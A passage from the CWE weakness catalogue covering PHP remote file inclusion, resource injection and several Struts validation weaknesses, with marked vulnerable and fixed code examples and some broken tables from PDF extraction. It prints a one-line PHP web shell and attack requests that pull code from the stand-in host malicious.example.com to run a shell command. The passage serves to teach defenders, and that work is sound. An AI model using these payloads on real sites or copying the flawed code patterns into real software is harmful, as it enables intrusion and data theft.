Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of `register_globals` combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy = Environment Hardening

Set `allow_url_fopen` to false, which limits the ability to include files from remote locations.

Effectiveness = High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

Demonstrative Examples

Example 1:

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

Example Language: PHP

(bad)

```
$dir = $_GET['module_name'];
include($dir . "/function.php");
```

The problem with the above code is that the value of \$dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

Example Language:

(attack)

```
victim.php?module_name=http://malicious.example.com
```

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

Example Language:

(bad)

```
system($_GET['cmd']);
```

An attacker could now go a step further in our example and provide a request string as follows:

Example Language:

(attack)

```
victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l
```

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by victim.php to execute the potentially malicious command, in this case:

Example Language:

(attack)

```
/bin/ls -l
```

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

Observed Examples

| MemberOf | C | 802 | 2010 Top 25 - Risky Resource Management | 800 | 2071 |
| MemberOf | C | 1347 | OWASP Top Ten 2021 Category A03:2021 - Injection | 1344 | 2205 |

Notes

Relationship

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role. Can overlap directory traversal in local inclusion problems.

Research Gap

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

CWE-99: Improper Control of Resource Identifiers ('Resource Injection')

Weakness ID : 99

Status: Draft

Structure : Simple

Abstraction : Class

Description

The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.

Extended Description

A resource injection issue occurs when the following two conditions are met:

1. An attacker can specify the identifier used to access a system resource. For example, an attacker might be able to specify part of the name of a file to be opened or a port number to be used.
2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted. For example, the program may give the attacker the ability to overwrite the specified file, run with a configuration controlled by the attacker, or transmit sensitive information to a third-party server.

This may enable an attacker to access or modify otherwise protected system resources.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|-----------|---|-----|--|------|

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

Insecure Direct Object Reference : OWASP uses this term, although it is effectively the same as resource injection.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|--|--|------------|
| Confidentiality Integrity | Read Application Data Modify Application Data Read Files or Directories Modify Files or Directories | |
| <i>An attacker could gain access to or modify sensitive data or system resources. This could allow access to protected</i> | | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | files or directories including configuration files and files containing sensitive information. | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Demonstrative Examples

Example 1:

The following Java code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as ".././tomcat/conf/server.xml", which causes the application to delete one of its own configuration files.

Example Language: Java

(bad)

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 2:

The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

Example Language: C++

(bad)

```
ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;
```

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|

| MemberOf | C | 1347 | OWASP Top Ten 2021 Category A03:2021 - Injection | 1344 | 2205 |

Notes

Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Taxonomy Mappings

CWE-102: Struts: Duplicate Validation Forms

Weakness ID : 102

Status: Incomplete

Structure : Simple
Abstraction : Variant

Description

The application uses multiple validation forms with the same name, which might cause the Struts Validator to validate a form that the programmer does not expect.

Extended Description

If two validation forms have the same name, the Struts Validator arbitrarily chooses one of the forms to use for input validation and discards the other. This decision might not correspond to the programmer's expectations, possibly leading to resultant weaknesses. Moreover, it indicates that the validation logic is not up-to-date, and can indicate that other, more subtle validation errors are present.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|------|---|------|
| ChildOf | B | 1173 | Improper Use of Validation Framework | 1775 |
| ChildOf | B | 694 | Use of Multiple Resources with Duplicate Identifier | 1386 |
| PeerOf | C | 675 | Multiple Operations on Resource in Single-Operation Context | 1355 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|------|----|---------------------------|------|
| ChildOf | C | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Phase: Implementation

The DTD or schema validation will not catch the duplicate occurrence of the same form name. To find the issue in the implementation, manual checks or automated static analysis could be applied to the xml configuration files.

Demonstrative Examples

Example 1:

Two validation forms with the same name.

Example Language: XML

(bad)

```
<form-validation>
  <formset>
    <form name="ProjectForm"> ... </form>
```

```
<form name="ProjectForm"> ... </form>
</formset>
</form-validation>
```

It is critically important that validation logic be maintained and kept in sync with the rest of the application.

MemberOf Relationships

CWE-103: Struts: Incomplete validate() Method Definition

Weakness ID : 103

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The application has a validator form that either does not define a validate() method, or defines a validate() method but does not call super.validate().

Extended Description

If the code does not call super.validate(), the Validation Framework cannot check the contents of the form against a validation form. In other words, the validation framework will be disabled for the given form.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 573 | Improper Following of Specification by Caller | 1186 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (Prevalence = Undetermined)

Background Details

The Struts Validator uses a form's validate() method to check the contents of the form properties against the constraints specified in the associated validation form. That means the following classes have a validate() method that is part of the validation framework: ValidatorForm, ValidatorActionForm, DynaValidatorForm, and DynaValidatorActionForm. If the code creates a class that extends one of these classes, and if that class implements custom validation logic by overriding the validate() method, the code must call super.validate() in the validate() implementation.

Common Consequences

| Scope | Impact | Likelihood |
|---|--|------------|
| Other | Other | |
| | Disabling the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is the root cause of vulnerabilities like cross-site scripting, process control, and SQL injection. | |
| Confidentiality Integrity Availability Other | Other | |
| | Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack. | |

Potential Mitigations

Phase: Implementation

Implement the validate() method and call super.validate() within that method.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and the RegistrationForm bean in the Struts framework will maintain the user data. Tthe RegistrationForm class implements the validate method to validate the user input entered into the form.

Example Language: Java

(bad)

```

public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = new ActionErrors();
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
    }
}

```

```
        return errors;
    }
    // getter and setter methods for private variables
    ...
}
```

Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call super.validate(). Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

Example Language: Java (good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {
        ActionErrors errors = super.validate(mapping, request);
        if (errors == null) {
            errors = new ActionErrors();
        }
        if (getName() == null || getName().length() < 1) {
            errors.add("name", new ActionMessage("error.name.required"));
        }
        return errors;
    }
    // getter and setter methods for private variables
    ...
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|-----|--|-----|------|
| MemberOf | C | 722 | OWASP Top Ten 2004 Category A1 - Unvalidated Input | 711 | 2051 |
| MemberOf | C | 990 | SFP Secondary Cluster: Tainted Input to Command | 888 | 2129 |

Notes

Relationship

This could introduce other weaknesses related to missing input validation.

Maintenance

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

Taxonomy Mappings

CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID : 104

Status: Draft

Structure : Simple

Abstraction : Variant

Description

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 573 | Improper Following of Specification by Caller | 1186 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. One of these classes must be extended because the Struts Validator ties in to the application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Other | Other | |
| | <i>Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.</i> | |
| Confidentiality | Other | |
| Integrity | <i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array</i> | |
| Availability | | |
| Other | | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | <i>bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i> | |

Potential Mitigations

Phase: Implementation

Ensure that all forms extend one of the Validation Classes.

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java

(bad)

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

Example Language: Java

(good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | Page |

CWE-105: Struts: Form Field Without Validator

Weakness ID : 105

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

Extended Description

Omitting validation for even a single input field may give attackers the leeway they need to compromise the application. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--------------------------------------|------|
| ChildOf |  | 1173 | Improper Use of Validation Framework | 1775 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|--|------------|
| Integrity | Unexpected State | |
| Integrity | Bypass Protection Mechanism | |
| | <i>If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.</i> | |

Potential Mitigations

Phase: Implementation

Validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

Demonstrative Examples

Example 1:

In the following example the Java class `RegistrationForm` is a Struts framework `ActionForm` Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the `RegistrationForm` bean will maintain the user data in the form fields using the private member variables. The `RegistrationForm` class uses the Struts validation capability by extending the `ValidatorForm` class and including the validation for the form fields within the validator XML file, `validator.xml`.

Example Language:

(result)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
    private String phone;
    private String email;
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

The validator XML file, `validator.xml`, provides the validation for the form fields of the `RegistrationForm`.

Example Language: XML

(bad)

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
```

```

        <arg position="0" key="prompt.state"/>
        <var>
            <var-name>mask</var-name>
            <var-value>[a-zA-Z]{2}</var-value>
        </var>
    </field>
    <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
            <var-name>mask</var-name>
            <var-value>\d{5}</var-value>
        </var>
    </field>
</form>
</formset>
</form-validation>

```

However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

Example Language: XML

(good)

```

<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>\d{5}</var-value>
        </var>
      </field>
      <field property="phone" depends="required,mask">
        <arg position="0" key="prompt.phone"/>
        <var>
          <var-name>mask</var-name>
          <var-value>^([0-9]{3})(-|([0-9]{4})[0-9]{4})$</var-value>
        </var>
      </field>
      <field property="email" depends="required,email">
        <arg position="0" key="prompt.email"/>
      </field>
    </form>
  </formset>
</form-validation>

```

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-106: Struts: Plug-in Framework not in Use

| | |
|------------------------------|-----------------------|
| Weakness ID : 106 | Status : Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

Extended Description

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.

Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--------------------------------------|------|
| ChildOf |  | 1173 | Improper Use of Validation Framework | 1775 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------|------------|
| Integrity | Unexpected State | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Use an input validation framework such as Struts.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use an input validation framework such as Struts.

Phase: Implementation

Strategy = Input Validation

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

Phase: Implementation

Strategy = Libraries or Frameworks

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

Demonstrative Examples

Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

Example Language: Java

(bad)

```
public class RegistrationForm extends org.apache.struts.action.ActionForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    // getter and setter methods for private variables
    ...
}
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the

RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

Example Language: Java

(good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String email;
    ...
    public RegistrationForm() {
        super();
    }
    public ActionErrors validate(ActionMapping mapping, HttpServletRequest request) {...}
    // getter and setter methods for private variables
    ...
}
```

The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.

Example Language: XML

(good)

```
<struts-config>
  <form-beans>
    <form-bean name="RegistrationForm" type="RegistrationForm"/>
  </form-beans>
  ...
  <!-- ===== Validator plugin ===== -->
  <plug-in className="org.apache.struts.validator.ValidatorPlugIn">
    <set-property
      property="pathnames"
      value="/WEB-INF/validator-rules.xml,/WEB-INF/validation.xml"/>
  </plug-in>
</struts-config>
```

CWE-107: Struts: Unused Validation Form

Weakness ID : 107

Status: Draft

Structure : Simple
Abstraction : Variant

Description

An unused validation form indicates that validation logic is not up-to-date.

Extended Description

It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|---------------------|------------|
| Other | Quality Degradation | |

Potential Mitigations

Phase: Implementation

Remove the unused Validation Form from the validation.xml file.

Demonstrative Examples

Example 1:

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

Example Language: Java

(bad)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm {
    // private variables for registration form
    private String name;
    private String address;
    private String city;
    private String state;
    private String zipcode;
```

```
// no longer using the phone form field
// private String phone;
private String email;
public RegistrationForm() {
    super();
}
// getter and setter methods for private variables
...
}
```

Example Language: XML

(bad)

```
<form-validation>
  <formset>
    <form name="RegistrationForm">
      <field property="name" depends="required">
        <arg position="0" key="prompt.name"/>
      </field>
      <field property="address" depends="required">
        <arg position="0" key="prompt.address"/>
      </field>
      <field property="city" depends="required">
        <arg position="0" key="prompt.city"/>
      </field>
      <field property="state" depends="required,mask">
        <arg position="0" key="prompt.state"/>
        <var>
          <var-name>mask</var-name>
          <var-value>[a-zA-Z]{2}</var-value>
        </var>
      </field>
      <field property="zipcode" depends="required,mask">
        <arg position="0" key="prompt.zipcode"/>
        <var>
          <var-name>mask</var-name>
          <var-value>\d{5}</var-value>
        </var>
      </field>
      <field property="phone" depends="required,mask">
        <arg position="0" key="prompt.phone"/>
        <var>
          <var-name>mask</var-name>
          <var-value>^([0-9]{3})(-|([0-9]{4})[0-9]{4})$</var-value>
        </var>
      </field>
      <field property="email" depends="required,email">
        <arg position="0" key="prompt.email"/>
      </field>
    </form>
  </formset>
</form-validation>
```

However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

MemberOf Relationships

CWE-108: Struts: Unvalidated Action Form

| | |
|------------------------------|----------------------------|
| Weakness ID : 108 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

Every Action Form must have a corresponding validation form.

Extended Description

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Map every Action Form to a corresponding validation form. An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-109: Struts: Validator Turned Off

Weakness ID : 109

Status: Draft

Structure : Simple

Abstraction : Variant

Description

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|--------------------------------------|------|
| ChildOf |  | 1173 | Improper Use of Validation Framework | 1775 |

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

| Nature | Type | ID | Name | Page |
|---------|---|----|---------------------------|------|
| ChildOf |  | 20 | Improper Input Validation | 19 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Implementation

Ensure that an action form mapping enables validation. Set the validate field to true.

Demonstrative Examples

Example 1:

This mapping defines an action for a download form:

Example Language: XML

(bad)

```
<action path="/download"
type="com.website.d2.action.DownloadAction"
name="downloadForm"
scope="request"
input=".download"
validate="false">
</action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|-----|--|---|------|
| MemberOf |  | 722 | OWASP Top Ten 2004 Category A1 - Unvalidated Input | 711 | 2051 |
| MemberOf |  | 990 | SFP Secondary Cluster: Tainted Input to Command | 888 | 2129 |

Notes

Other

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "<" and a > with ">". This action can be disabled by specifying filter="false" as an attribute of

the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

CWE-110: Struts: Validator Without Form Field

Weakness ID : 110

Status: Draft

Structure : Simple

Abstraction : Variant

Description

Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form.

